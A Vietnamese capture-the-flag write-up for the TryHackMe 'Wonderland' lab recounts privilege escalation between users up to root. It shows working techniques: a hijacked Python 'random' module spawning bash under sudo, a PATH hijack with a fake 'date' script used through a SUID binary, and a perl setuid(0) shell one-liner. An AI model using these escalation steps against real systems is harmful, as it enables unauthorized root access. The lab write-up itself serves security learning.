Fall down the rabbit hole and enter wonderland – medium try hackme
Bước 1: Thu thập thông tin
import random
poem = “””The sun was shining on the sea,
Shining with all his might:
He did his very best to make
The billows smooth and bright —
And this was odd, because it was
The middle of the night.The moon was shining sulkily,
Because she thought the sun
Had got no business to be there
After the day was done —
“It’s very rude of him,” she said,
“To come and spoil the fun!”The sea was wet as wet could be,
The sands were dry as dry.
You could not see a cloud, because
No cloud was in the sky:
No birds were flying over head —
There were no birds to fly.The Walrus and the Carpenter
Were walking close at hand;
They wept like anything to see
Such quantities of sand:
“If this were only cleared away,”
They said, “it would be grand!”[…]
for i in range(10):
line = random.choice(poem.split(“\n”))
Vậy nên mình tạo một tệp random.py để thay vi gọi thư viện random của python thì sẽ sử dụng luôn tệp random.py mà mình tạo ra ở cùng đường dẫn chưa tệp walrus_and_the_carpenter.py.
# cat random.py
import os
os.system(“/bin/bash“)
Sau đó mình thực hiện lệnh:
sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
Mình leo thăng lên user rabbit thành công, mình đi đến thư mục home/ của user này xem có gì nào phát hiện ra còn 2 user khác nữa là hatter và tryhackme sẽ có giả thiết sinh ra là từ rabbit có thể leo thăng lên 1 trong 2 user này, nhưng dựa vào thông tin thu thập ở web thì chắc chắn sẽ là hatter 😆 😆 😆
Mình vào tiếp thư mục rabbit xem và phát hiện nó có một tệp thực thi là teaParty có quyền SUID (tức là user thường có thể chạy tệp tin dưới quyền user root) khi mình chạy tệp này phát hiện tệp này gọi đến hàm date trên linux để xuất ra kết quả.
Do sử dụng hàm date để hiện thị kết quả thực thi, mình sẽ tạo ra một tệp date dạng bash shell và thêm nó vào biến môi trường thực thi để thay vì gọi đến hàm date của linux nó sẽ gọi đến tệp date mình tạo để leo thăng.
# export PATH=/tmp:$PATH
# echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
# cat /tmp/date
#!/bin/bash
/bin/bash
Sau khi vào được user hatter, mình kiểm tra thư mục /home/hatter phát hiện một tệp tin password.txt mình đọc nội dung của nó và đoán đây chính là mật khẩu ssh của hatter mình đem thử nghiệm và kết quả là đăng nhập thành công 😀 😀 😀
Sau đó mình thử dụng lệnh sau xem hatter có thể dùng gì để leo thăng không và phát hiện có thể dùng perl để setuid
getcap -r / 2>/dev/null
Bước 4: Leo thăng user root
Mình sử dụng GTFObins để khai thác leo thăng
perl -e ‘use POSIX qw(setuid); POSIX::setuid(0); exec “/bin/sh”;’
python3 -c 'import pty; pty.spawn("/bin/sh")'
Đọc cờ root.txt đầu tiên
Mình vô thư mục /root và phát hiện tệp user.txt đọc nốt.
Complete
0 Comments